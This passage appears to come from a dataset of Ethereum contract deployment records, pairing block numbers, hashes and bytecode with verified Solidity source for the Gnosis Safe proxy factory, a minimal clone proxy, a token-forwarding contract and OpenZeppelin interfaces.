no-inline-assembly assembly { proxy := create2(0x0, add(0x20, deploymentData), mload(deploymentData), salt) } require(address(proxy) != address(0), "Create2 call failed"); } /// @dev Allows to create new proxy contact and execute a message call to the new proxy within one transaction. /// @param _singleton Address of singleton contract. /// @param initializer Payload for message call sent to new proxy contract. /// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract. function createProxyWithNonce( address _singleton, bytes memory initializer, uint256 saltNonce ) public returns (GnosisSafeProxy proxy) { proxy = deployProxyWithNonce(_singleton, initializer, saltNonce); if (initializer.length > 0) // solhint-disable-next-line no-inline-assembly assembly { if eq(call(gas(), proxy, 0, add(initializer, 0x20), mload(initializer), 0, 0), 0) { revert(0, 0) } } emit ProxyCreation(proxy, _singleton); } /// @dev Allows to create new proxy contact, execute a message call to the new proxy and call a specified callback within one transaction /// @param _singleton Address of singleton contract. /// @param initializer Payload for message call sent to new proxy contract. /// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract. /// @param callback Callback that will be invoced after the new proxy contract has been successfully deployed and initialized. function createProxyWithCallback( address _singleton, bytes memory initializer, uint256 saltNonce, IProxyCreationCallback callback ) public returns (GnosisSafeProxy proxy) { uint256 saltNonceWithCallback = uint256(keccak256(abi.encodePacked(saltNonce, callback))); proxy = createProxyWithNonce(_singleton, initializer, saltNonceWithCallback); if (address(callback) != address(0)) callback.proxyCreated(proxy, _singleton, initializer, saltNonce); } /// @dev Allows to get the address for a new proxy contact created via `createProxyWithNonce` /// This method is only meant for address calculation purpose when you use an initializer that would revert, /// therefore the response is returned with a revert. When calling this method set `from` to the address of the proxy factory. /// @param _singleton Address of singleton contract. /// @param initializer Payload for message call sent to new proxy contract. /// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract. function calculateCreateProxyWithNonceAddress( address _singleton, bytes calldata initializer, uint256 saltNonce ) external returns (GnosisSafeProxy proxy) { proxy = deployProxyWithNonce(_singleton, initializer, saltNonce); revert(string(abi.encodePacked(proxy))); } } interface IProxyCreationCallback { function proxyCreated( GnosisSafeProxy proxy, address _singleton, bytes calldata initializer, uint256 saltNonce ) external; }
1
19,493,257
1915ee0bfd996b12ef3d345aeb0edd58d5b89de33f1c09abd07aed8ed9ac5429
23eff2655571ce96187572a434224ec1be0a0bb1c3401f527f551b98c7983850
450ef1eee18e839bd7ee5e1680359427bb5f784e
a6b71e26c5e0845f74c812102ca7114b6a896ab2
7b2e5c537e9edc522d1f64ee43c787ac1eb3f51b
608060405234801561001057600080fd5b506040516101e63803806101e68339818101604052602081101561003357600080fd5b8101908080519060200190929190505050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156100ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806101c46022913960400191505060405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505060ab806101196000396000f3fe608060405273ffffffffffffffffffffffffffffffffffffffff600054167fa619486e0000000000000000000000000000000000000000000000000000000060003514156050578060005260206000f35b3660008037600080366000845af43d6000803e60008114156070573d6000fd5b3d6000f3fea2646970667358221220d1429297349653a4918076d650332de1a1068c5f3e07c5c82360c277770b955264736f6c63430007060033496e76616c69642073696e676c65746f6e20616464726573732070726f7669646564000000000000000000000000d9db270c1b5e3bd161e8c8503c55ceabee709552
608060405273ffffffffffffffffffffffffffffffffffffffff600054167fa619486e0000000000000000000000000000000000000000000000000000000060003514156050578060005260206000f35b3660008037600080366000845af43d6000803e60008114156070573d6000fd5b3d6000f3fea2646970667358221220d1429297349653a4918076d650332de1a1068c5f3e07c5c82360c277770b955264736f6c63430007060033
// SPDX-License-Identifier: LGPL-3.0-only pragma solidity >=0.7.0 <0.9.0; /// @title IProxy - Helper interface to access masterCopy of the Proxy on-chain /// @author Richard Meissner - <[email protected]> interface IProxy { function masterCopy() external view returns (address); } /// @title GnosisSafeProxy - Generic proxy contract allows to execute all transactions applying the code of a master contract. /// @author Stefan George - <[email protected]> /// @author Richard Meissner - <[email protected]> contract GnosisSafeProxy { // singleton always needs to be first declared variable, to ensure that it is at the same location in the contracts to which calls are delegated. // To reduce deployment costs this variable is internal and needs to be retrieved via `getStorageAt` address internal singleton; /// @dev Constructor function sets address of singleton contract. /// @param _singleton Singleton address. constructor(address _singleton) { require(_singleton != address(0), "Invalid singleton address provided"); singleton = _singleton; } /// @dev Fallback function forwards all transactions and returns all received return data. fallback() external payable { // solhint-disable-next-line no-inline-assembly assembly { let _singleton := and(sload(0), 0xffffffffffffffffffffffffffffffffffffffff) // 0xa619486e == keccak("masterCopy()"). The value is right padded to 32-bytes with 0s if eq(calldataload(0), 0xa619486e00000000000000000000000000000000000000000000000000000000) { mstore(0, _singleton) return(0, 0x20) } calldatacopy(0, 0, calldatasize()) let success := delegatecall(gas(), _singleton, 0, calldatasize(), 0, 0) returndatacopy(0, 0, returndatasize()) if eq(success, 0) { revert(0, returndatasize()) } return(0, returndatasize()) } } } /// @title Proxy Factory - Allows to create new proxy contact and execute a message call to the new proxy within one transaction. /// @author Stefan George - <[email protected]> contract GnosisSafeProxyFactory { event ProxyCreation(GnosisSafeProxy proxy, address singleton); /// @dev Allows to create new proxy contact and execute a message call to the new proxy within one transaction. /// @param singleton Address of singleton contract. /// @param data Payload for message call sent to new proxy contract. function createProxy(address singleton, bytes memory data) public returns (GnosisSafeProxy proxy) { proxy = new GnosisSafeProxy(singleton); if (data.length > 0) // solhint-disable-next-line no-inline-assembly assembly { if eq(call(gas(), proxy, 0, add(data, 0x20), mload(data), 0, 0), 0) { revert(0, 0) } } emit ProxyCreation(proxy, singleton); } /// @dev Allows to retrieve the runtime code of a deployed Proxy. This can be used to check that the expected Proxy was deployed. function proxyRuntimeCode() public pure returns (bytes memory) { return type(GnosisSafeProxy).runtimeCode; } /// @dev Allows to retrieve the creation code used for the Proxy deployment. With this it is easily possible to calculate predicted address. function proxyCreationCode() public pure returns (bytes memory) { return type(GnosisSafeProxy).creationCode; } /// @dev Allows to create new proxy contact using CREATE2 but it doesn't run the initializer. /// This method is only meant as an utility to be called from other methods /// @param _singleton Address of singleton contract. /// @param initializer Payload for message call sent to new proxy contract. /// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract. function deployProxyWithNonce( address _singleton, bytes memory initializer, uint256 saltNonce ) internal returns (GnosisSafeProxy proxy) { // If the initializer changes the proxy address should change too. Hashing the initializer data is cheaper than just concatinating it bytes32 salt = keccak256(abi.encodePacked(keccak256(initializer), saltNonce)); bytes memory deploymentData = abi.encodePacked(type(GnosisSafeProxy).creationCode, uint256(uint160(_singleton))); // solhint-disable-next-line no-inline-assembly assembly { proxy := create2(0x0, add(0x20, deploymentData), mload(deploymentData), salt) } require(address(proxy) != address(0), "Create2 call failed"); } /// @dev Allows to create new proxy contact and execute a message call to the new proxy within one transaction. /// @param _singleton Address of singleton contract. /// @param initializer Payload for message call sent to new proxy contract. /// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract. function createProxyWithNonce( address _singleton, bytes memory initializer, uint256 saltNonce ) public returns (GnosisSafeProxy proxy) { proxy = deployProxyWithNonce(_singleton, initializer, saltNonce); if (initializer.length > 0) // solhint-disable-next-line no-inline-assembly assembly { if eq(call(gas(), proxy, 0, add(initializer, 0x20), mload(initializer), 0, 0), 0) { revert(0, 0) } } emit ProxyCreation(proxy, _singleton); } /// @dev Allows to create new proxy contact, execute a message call to the new proxy and call a specified callback within one transaction /// @param _singleton Address of singleton contract. /// @param initializer Payload for message call sent to new proxy contract. /// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract. /// @param callback Callback that will be invoced after the new proxy contract has been successfully deployed and initialized. function createProxyWithCallback( address _singleton, bytes memory initializer, uint256 saltNonce, IProxyCreationCallback callback ) public returns (GnosisSafeProxy proxy) { uint256 saltNonceWithCallback = uint256(keccak256(abi.encodePacked(saltNonce, callback))); proxy = createProxyWithNonce(_singleton, initializer, saltNonceWithCallback); if (address(callback) != address(0)) callback.proxyCreated(proxy, _singleton, initializer, saltNonce); } /// @dev Allows to get the address for a new proxy contact created via `createProxyWithNonce` /// This method is only meant for address calculation purpose when you use an initializer that would revert, /// therefore the response is returned with a revert. When calling this method set `from` to the address of the proxy factory. /// @param _singleton Address of singleton contract. /// @param initializer Payload for message call sent to new proxy contract. /// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract. function calculateCreateProxyWithNonceAddress( address _singleton, bytes calldata initializer, uint256 saltNonce ) external returns (GnosisSafeProxy proxy) { proxy = deployProxyWithNonce(_singleton, initializer, saltNonce); revert(string(abi.encodePacked(proxy))); } } interface IProxyCreationCallback { function proxyCreated( GnosisSafeProxy proxy, address _singleton, bytes calldata initializer, uint256 saltNonce ) external; }
1
19,493,258
e0d6c02122b51a4f9f3911f02e94b730f16442bb6037163cbd4bea6c2b92178c
04dbfa60578eb62637d079f3d95a6ec7f7c75edff89f0e87444f72b89879ef55
41ed843a086f44b8cb23decc8170c132bc257874
29ef46035e9fa3d570c598d3266424ca11413b0c
769f13678d5fff470afa0d517c241cd88a825550
3d602d80600a3d3981f3363d3d373d3d3d363d735397d0869aba0d55e96d5716d383f6e1d8695ed75af43d82803e903d91602b57fd5bf3
363d3d373d3d3d363d735397d0869aba0d55e96d5716d383f6e1d8695ed75af43d82803e903d91602b57fd5bf3
{{ "language": "Solidity", "sources": { "contracts/Forwarder.sol": { "content": "// SPDX-License-Identifier: Apache-2.0\npragma solidity 0.8.10;\nimport '@openzeppelin/contracts/token/ERC1155/IERC1155.sol';\nimport '@openzeppelin/contracts/token/ERC721/IERC721.sol';\nimport '@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol';\nimport '@openzeppelin/contracts/token/ERC1155/utils/ERC1155Receiver.sol';\nimport './ERC20Interface.sol';\nimport './TransferHelper.sol';\nimport './IForwarder.sol';\n\n/**\n * Contract that will forward any incoming Ether to the creator of the contract\n *\n */\ncontract Forwarder is IERC721Receiver, ERC1155Receiver, IForwarder {\n // Address to which any funds sent to this contract will be forwarded\n address public parentAddress;\n bool public autoFlush721 = true;\n bool public autoFlush1155 = true;\n\n event ForwarderDeposited(address from, uint256 value, bytes data);\n\n /**\n * Initialize the contract, and sets the destination address to that of the creator\n */\n function init(\n address _parentAddress,\n bool _autoFlush721,\n bool _autoFlush1155\n ) external onlyUninitialized {\n parentAddress = _parentAddress;\n uint256 value = address(this).balance;\n\n // set whether we want to automatically flush erc721/erc1155 tokens or not\n autoFlush721 = _autoFlush721;\n autoFlush1155 = _autoFlush1155;\n\n if (value == 0) {\n return;\n }\n\n (bool success, ) = parentAddress.call{ value: value }('');\n require(success, 'Flush failed');\n\n // NOTE: since we are forwarding on initialization,\n // we don't have the context of the original sender.\n // We still emit an event about the forwarding but set\n // the sender to the forwarder itself\n emit ForwarderDeposited(address(this), value, msg.data);\n }\n\n /**\n * Modifier that will execute internal code block only if the sender is the parent address\n */\n modifier onlyParent {\n require(msg.sender == parentAddress, 'Only Parent');\n _;\n }\n\n /**\n * Modifier that will execute internal code block only if the contract has not been initialized yet\n */\n modifier onlyUninitialized {\n require(parentAddress == address(0x0), 'Already initialized');\n _;\n }\n\n /**\n * Default function; Gets called when data is sent but does not match any other function\n */\n fallback() external payable {\n flush();\n }\n\n /**\n * Default function; Gets called when Ether is deposited with no data, and forwards it to the parent address\n */\n receive() external payable {\n flush();\n }\n\n /**\n * @inheritdoc IForwarder\n */\n function setAutoFlush721(bool autoFlush)\n external\n virtual\n override\n onlyParent\n {\n autoFlush721 = autoFlush;\n }\n\n /**\n * @inheritdoc IForwarder\n */\n function setAutoFlush1155(bool autoFlush)\n external\n virtual\n override\n onlyParent\n {\n autoFlush1155 = autoFlush;\n }\n\n /**\n * ERC721 standard callback function for when a ERC721 is transfered. The forwarder will send the nft\n * to the base wallet once the nft contract invokes this method after transfering the nft.\n *\n * @param _operator The address which called `safeTransferFrom` function\n * @param _from The address of the sender\n * @param _tokenId The token id of the nft\n * @param data Additional data with no specified format, sent in call to `_to`\n */\n function onERC721Received(\n address _operator,\n address _from,\n uint256 _tokenId,\n bytes memory data\n ) external virtual override returns (bytes4) {\n if (autoFlush721) {\n IERC721 instance = IERC721(msg.sender);\n require(\n instance.supportsInterface(type(IERC721).interfaceId),\n 'The caller does not support the ERC721 interface'\n );\n // this won't work for ERC721 re-entrancy\n instance.safeTransferFrom(address(this), parentAddress, _tokenId, data);\n }\n\n return this.onERC721Received.selector;\n }\n\n function callFromParent(\n address target,\n uint256 value,\n bytes calldata data\n ) external onlyParent returns (bytes memory) {\n (bool success, bytes memory returnedData) = target.call{ value: value }(\n data\n );\n require(success, 'Parent call execution failed');\n\n return returnedData;\n }\n\n /**\n * @inheritdoc IERC1155Receiver\n */\n function onERC1155Received(\n address _operator,\n address _from,\n uint256 id,\n uint256 value,\n bytes calldata data\n ) external virtual override returns (bytes4) {\n IERC1155 instance = IERC1155(msg.sender);\n require(\n instance.supportsInterface(type(IERC1155).interfaceId),\n 'The caller does not support the IERC1155 interface'\n );\n\n if (autoFlush1155) {\n instance.safeTransferFrom(address(this), parentAddress, id, value, data);\n }\n\n return this.onERC1155Received.selector;\n }\n\n /**\n * @inheritdoc IERC1155Receiver\n */\n function onERC1155BatchReceived(\n address _operator,\n address _from,\n uint256[] calldata ids,\n uint256[] calldata values,\n bytes calldata data\n ) external virtual override returns (bytes4) {\n IERC1155 instance = IERC1155(msg.sender);\n require(\n instance.supportsInterface(type(IERC1155).interfaceId),\n 'The caller does not support the IERC1155 interface'\n );\n\n if (autoFlush1155) {\n instance.safeBatchTransferFrom(\n address(this),\n parentAddress,\n ids,\n values,\n data\n );\n }\n\n return this.onERC1155BatchReceived.selector;\n }\n\n /**\n * @inheritdoc IForwarder\n */\n function flushTokens(address tokenContractAddress)\n external\n virtual\n override\n onlyParent\n {\n ERC20Interface instance = ERC20Interface(tokenContractAddress);\n address forwarderAddress = address(this);\n uint256 forwarderBalance = instance.balanceOf(forwarderAddress);\n if (forwarderBalance == 0) {\n return;\n }\n\n TransferHelper.safeTransfer(\n tokenContractAddress,\n parentAddress,\n forwarderBalance\n );\n }\n\n /**\n * @inheritdoc IForwarder\n */\n function flushERC721Token(address tokenContractAddress, uint256 tokenId)\n external\n virtual\n override\n onlyParent\n {\n IERC721 instance = IERC721(tokenContractAddress);\n require(\n instance.supportsInterface(type(IERC721).interfaceId),\n 'The tokenContractAddress does not support the ERC721 interface'\n );\n\n address ownerAddress = instance.ownerOf(tokenId);\n instance.transferFrom(ownerAddress, parentAddress, tokenId);\n }\n\n /**\n * @inheritdoc IForwarder\n */\n function flushERC1155Tokens(address tokenContractAddress, uint256 tokenId)\n external\n virtual\n override\n onlyParent\n {\n IERC1155 instance = IERC1155(tokenContractAddress);\n require(\n instance.supportsInterface(type(IERC1155).interfaceId),\n 'The caller does not support the IERC1155 interface'\n );\n\n address forwarderAddress = address(this);\n uint256 forwarderBalance = instance.balanceOf(forwarderAddress, tokenId);\n\n instance.safeTransferFrom(\n forwarderAddress,\n parentAddress,\n tokenId,\n forwarderBalance,\n ''\n );\n }\n\n /**\n * @inheritdoc IForwarder\n */\n function batchFlushERC1155Tokens(\n address tokenContractAddress,\n uint256[] calldata tokenIds\n ) external virtual override onlyParent {\n IERC1155 instance = IERC1155(tokenContractAddress);\n require(\n instance.supportsInterface(type(IERC1155).interfaceId),\n 'The caller does not support the IERC1155 interface'\n );\n\n address forwarderAddress = address(this);\n uint256[] memory amounts = new uint256[](tokenIds.length);\n for (uint256 i = 0; i < tokenIds.length; i++) {\n amounts[i] = instance.balanceOf(forwarderAddress, tokenIds[i]);\n }\n\n instance.safeBatchTransferFrom(\n forwarderAddress,\n parentAddress,\n tokenIds,\n amounts,\n ''\n );\n }\n\n /**\n * Flush the entire balance of the contract to the parent address.\n */\n function flush() public {\n uint256 value = address(this).balance;\n\n if (value == 0) {\n return;\n }\n\n (bool success, ) = parentAddress.call{ value: value }('');\n require(success, 'Flush failed');\n emit ForwarderDeposited(msg.sender, value, msg.data);\n }\n\n /**\n * @inheritdoc IERC165\n */\n function supportsInterface(bytes4 interfaceId)\n public\n virtual\n override(ERC1155Receiver, IERC165)\n view\n returns (bool)\n {\n return\n interfaceId == type(IForwarder).interfaceId ||\n super.supportsInterface(interfaceId);\n }\n}\n" }, "@openzeppelin/contracts/token/ERC1155/IERC1155.sol": { "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (token/ERC1155/IERC1155.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../../utils/introspection/IERC165.sol\";\n\n/**\n * @dev Required interface of an ERC1155 compliant contract, as defined in the\n * https://eips.ethereum.org/EIPS/eip-1155[EIP].\n *\n * _Available since v3.1._\n */\ninterface IERC1155 is IERC165 {\n /**\n * @dev Emitted when `value` tokens of token type `id` are transferred from `from` to `to` by `operator`.\n */\n event TransferSingle(address indexed operator, address indexed from, address indexed to, uint256 id, uint256 value);\n\n /**\n * @dev Equivalent to multiple {TransferSingle} events, where `operator`, `from` and `to` are the same for all\n * transfers.\n */\n event TransferBatch(\n address indexed operator,\n address indexed from,\n address indexed to,\n uint256[] ids,\n uint256[] values\n );\n\n /**\n * @dev Emitted when `account` grants or revokes permission to `operator` to transfer their tokens, according to\n * `approved`.\n */\n event ApprovalForAll(address indexed account, address indexed operator, bool approved);\n\n /**\n * @dev Emitted when the URI for token type `id` changes to `value`, if it is a non-programmatic URI.\n *\n * If an {URI} event was emitted for `id`, the standard\n * https://eips.ethereum.org/EIPS/eip-1155#metadata-extensions[guarantees] that `value` will equal the value\n * returned by {IERC1155MetadataURI-uri}.\n */\n event URI(string value, uint256 indexed id);\n\n /**\n * @dev Returns the amount of tokens of token type `id` owned by `account`.\n *\n * Requirements:\n *\n * - `account` cannot be the zero address.\n */\n function balanceOf(address account, uint256 id) external view returns (uint256);\n\n /**\n * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {balanceOf}.\n *\n * Requirements:\n *\n * - `accounts` and `ids` must have the same length.\n */\n function balanceOfBatch(address[] calldata accounts, uint256[] calldata ids)\n external\n view\n returns (uint256[] memory);\n\n /**\n * @dev Grants or revokes permission to `operator` to transfer the caller's tokens, according to `approved`,\n *\n * Emits an {ApprovalForAll} event.\n *\n * Requirements:\n *\n * - `operator` cannot be the caller.\n */\n function setApprovalForAll(address operator, bool approved) external;\n\n /**\n * @dev Returns true if `operator` is approved to transfer ``account``'s tokens.\n *\n * See {setApprovalForAll}.\n */\n function isApprovedForAll(address account, address operator) external view returns (bool);\n\n /**\n * @dev Transfers `amount` tokens of token type `id` from `from` to `to`.\n *\n * Emits a {TransferSingle} event.\n *\n * Requirements:\n *\n * - `to` cannot be the zero address.\n * - If the caller is not `from`, it must be have been approved to spend ``from``'s tokens via {setApprovalForAll}.\n * - `from` must have a balance of tokens of type `id` of at least `amount`.\n * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the\n * acceptance magic value.\n */\n function safeTransferFrom(\n address from,\n address to,\n uint256 id,\n uint256 amount,\n bytes calldata data\n ) external;\n\n /**\n * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {safeTransferFrom}.\n *\n * Emits a {TransferBatch} event.\n *\n * Requirements:\n *\n * - `ids` and `amounts` must have the same length.\n * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the\n * acceptance magic value.\n */\n function safeBatchTransferFrom(\n address from,\n address to,\n uint256[] calldata ids,\n uint256[] calldata amounts,\n bytes calldata data\n ) external;\n}\n" }, "@openzeppelin/contracts/token/ERC721/IERC721.sol": { "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../../utils/introspection/IERC165.sol\";\n\n/**\n * @dev Required interface of an ERC721 compliant contract.\n */\ninterface IERC721 is IERC165 {\n /**\n * @dev Emitted when `tokenId` token is transferred from `from` to `to`.\n */\n event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);\n\n /**\n * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.\n */\n event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);\n\n /**\n * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.\n */\n event ApprovalForAll(address indexed owner, address indexed operator, bool approved);\n\n /**\n * @dev Returns the number of tokens in ``owner``'s account.\n */\n function balanceOf(address owner) external view returns (uint256 balance);\n\n /**\n * @dev Returns the owner of the `tokenId` token.\n *\n * Requirements:\n *\n * - `tokenId` must exist.\n */\n function ownerOf(uint256 tokenId) external view returns (address owner);\n\n /**\n * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients\n * are aware of the ERC721 protocol to prevent tokens from being forever locked.\n *\n * Requirements:\n *\n * - `from` cannot be the zero address.\n * - `to` cannot be the zero address.\n * - `tokenId` token must exist and be owned by `from`.\n * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.\n * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.\n *\n * Emits a {Transfer} event.\n */\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId\n ) external;\n\n /**\n * @dev Transfers `tokenId` token from `from` to `to`.\n *\n * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.\n *\n * Requirements:\n *\n * - `from` cannot be the zero address.\n * - `to` cannot be the zero address.\n * - `tokenId` token must be owned by `from`.\n * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.\n *\n * Emits a {Transfer} event.\n */\n function transferFrom(\n address from,\n address to,\n uint256 tokenId\n ) external;\n\n /**\n * @dev Gives permission to `to` to transfer `tokenId` token to another account.\n * The approval is cleared when the token is transferred.\n *\n * Only a single account can be approved at a time, so approving the zero address clears previous approvals.\n *\n * Requirements:\n *\n * - The caller must own the token or be an approved operator.\n * - `tokenId` must exist.\n *\n * Emits an {Approval} event.\n */\n function approve(address to, uint256 tokenId) external;\n\n /**\n * @dev Returns the account approved for `tokenId` token.\n *\n * Requirements:\n *\n * - `tokenId` must exist.\n */\n function getApproved(uint256 tokenId) external view returns (address operator);\n\n /**\n * @dev Approve or remove `operator` as an operator for the caller.\n * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.\n *\n * Requirements:\n *\n * - The `operator` cannot be the caller.\n *\n * Emits an {ApprovalForAll} event.\n */\n function setApprovalForAll(address operator, bool _approved) external;\n\n /**\n * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.\n *\n * See {setApprovalForAll}\n */\n function isApprovedForAll(address owner, address operator) external view returns (bool);\n\n /**\n * @dev Safely transfers `tokenId` token from `from` to `to`.\n *\n * Requirements:\n *\n * - `from` cannot be the zero address.\n * - `to` cannot be the zero address.\n * - `tokenId` token must exist and be owned by `from`.\n * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.\n * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.\n *\n * Emits a {Transfer} event.\n */\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId,\n bytes calldata data\n ) external;\n}\n" }, "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol": { "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @title ERC721 token receiver interface\n * @dev Interface for any contract that wants to support safeTransfers\n * from ERC721 asset contracts.\n */\ninterface IERC721Receiver {\n /**\n * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}\n * by `operator` from `from`, this function is called.\n *\n * It must return its Solidity selector to confirm the token transfer.\n * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.\n *\n * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.\n */\n function onERC721Received(\n address operator,\n address from,\n uint256 tokenId,\n bytes calldata data\n ) external returns (bytes4);\n}\n" }, "@openzeppelin/contracts/token/ERC1155/utils/ERC1155Receiver.sol": { "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (token/ERC1155/utils/ERC1155Receiver.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../IERC1155Receiver.sol\";\nimport \"../../../utils/introspection/ERC165.sol\";\n\n/**\n * @dev _Available since v3.1._\n */\nabstract contract ERC1155Receiver is ERC165, IERC1155Receiver {\n /**\n * @dev See {IERC165-supportsInterface}.\n */\n function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {\n return interfaceId == type(IERC1155Receiver).interfaceId || super.supportsInterface(interfaceId);\n }\n}\n" }, "contracts/ERC20Interface.sol": { "content": "// SPDX-License-Identifier: UNLICENSED\npragma solidity 0.8.10;\n\n/**\n * Contract that exposes the needed erc20 token functions\n */\n\nabstract contract ERC20Interface {\n // Send _value amount of tokens to address _to\n function transfer(address _to, uint256 _value)\n public\n virtual\n returns (bool success);\n\n // Get the account balance of another account with address _owner\n function balanceOf(address _owner)\n public\n virtual\n view\n returns (uint256 balance);\n}\n" }, "contracts/TransferHelper.sol": { "content": "// SPDX-License-Identifier: GPL-3.0-or-later\n// source: https://github.com/Uniswap/solidity-lib/blob/master/contracts/libraries/TransferHelper.sol\npragma solidity 0.8.10;\n\nimport '@openzeppelin/contracts/utils/Address.sol';\n\n// helper methods for interacting with ERC20 tokens and sending ETH that do not consistently return true/false\nlibrary TransferHelper {\n function safeTransfer(\n address token,\n address to,\n uint256 value\n ) internal {\n // bytes4(keccak256(bytes('transfer(address,uint256)')));\n (bool success, bytes memory data) = token.call(\n abi.encodeWithSelector(0xa9059cbb, to, value)\n );\n require(\n success && (data.length == 0 || abi.decode(data, (bool))),\n 'TransferHelper::safeTransfer: transfer failed'\n );\n }\n\n function safeTransferFrom(\n address token,\n address from,\n address to,\n uint256 value\n ) internal {\n // bytes4(keccak256(bytes('transferFrom(address,address,uint256)')));\n (bool success, bytes memory returndata) = token.call(\n abi.encodeWithSelector(0x23b872dd, from, to, value)\n );\n Address.verifyCallResult(\n success,\n returndata,\n 'TransferHelper::transferFrom: transferFrom failed'\n );\n }\n}\n" }, "contracts/IForwarder.sol": { "content": "pragma solidity ^0.8.0;\n\nimport '@openzeppelin/contracts/utils/introspection/IERC165.sol';\n\ninterface IForwarder is IERC165 {\n /**\n * Sets the autoflush721 parameter.\n *\n * @param autoFlush whether to autoflush erc721 tokens\n */\n function setAutoFlush721(bool autoFlush) external;\n\n /**\n * Sets the autoflush1155 parameter.\n *\n * @param autoFlush whether to autoflush erc1155 tokens\n */\n function setAutoFlush1155(bool autoFlush) external;\n\n /**\n * Execute a token transfer of the full balance from the forwarder token to the parent address\n *\n * @param tokenContractAddress the address of the erc20 token contract\n */\n function flushTokens(address tokenContractAddress) external;\n\n /**\n * Execute a nft transfer from the forwarder to the parent address\n *\n * @param tokenContractAddress the address of the ERC721 NFT contract\n * @param tokenId The token id of the nft\n */\n function flushERC721Token(address tokenContractAddress, uint256 tokenId)\n external;\n\n /**\n * Execute a nft transfer from the forwarder to the parent address.\n *\n * @param tokenContractAddress the address of the ERC1155 NFT contract\n * @param tokenId The token id of the nft\n */\n function flushERC1155Tokens(address tokenContractAddress, uint256 tokenId)\n external;\n\n /**\n * Execute a batch nft transfer from the forwarder to the parent address.\n *\n * @param tokenContractAddress the address of the ERC1155 NFT contract\n * @param tokenIds The token ids of the nfts\n */\n function batchFlushERC1155Tokens(\n address tokenContractAddress,\n uint256[] calldata tokenIds\n ) external;\n}\n" }, "@openzeppelin/contracts/utils/introspection/IERC165.sol": { "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev Interface of the ERC165 standard, as defined in the\n * https://eips.ethereum.org/EIPS/eip-165[EIP].\n *\n * Implementers can declare support of contract interfaces, which can then be\n * queried by others ({ERC165Checker}).\n *\n * For an implementation, see {ERC165}.\n */\ninterface IERC165 {\n /**\n * @dev Returns true if this contract implements the interface defined by\n * `interfaceId`. See the corresponding\n * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]\n * to learn more about how these ids are created.\n *\n * This function call must use less than 30 000 gas.\n */\n function supportsInterface(bytes4 interfaceId) external view returns (bool);\n}\n" }, "@openzeppelin/contracts/token/ERC1155/IERC1155Receiver.sol": { "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (token/ERC1155/IERC1155Receiver.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../../utils/introspection/IERC165.sol\";\n\n/**\n * @dev _Available since v3.1._\n */\ninterface IERC1155Receiver is IERC165 {\n /**\n @dev Handles the receipt of a single ERC1155 token type. This function is\n called at the end of a `safeTransferFrom` after the balance has been updated.\n To accept the transfer, this must return\n `bytes4(keccak256(\"onERC1155Received(address,address,uint256,uint256,bytes)\"))`\n (i.e. 0xf23a6e61, or its own function selector).\n @param operator The address which initiated the transfer (i.e. msg.sender)\n @param from The address which previously owned the token\n @param id The ID of the token being transferred\n @param value The amount of tokens being transferred\n @param data Additional data with no specified format\n @return `bytes4(keccak256(\"onERC1155Received(address,address,uint256,uint256,bytes)\"))` if transfer is allowed\n */\n function onERC1155Received(\n address operator,\n address from,\n uint256 id,\n uint256 value,\n bytes calldata data\n ) external returns (bytes4);\n\n /**\n @dev Handles the receipt of a multiple ERC1155 token types. This function\n is called at the end of a `safeBatchTransferFrom` after the balances have\n been updated. To accept the transfer(s), this 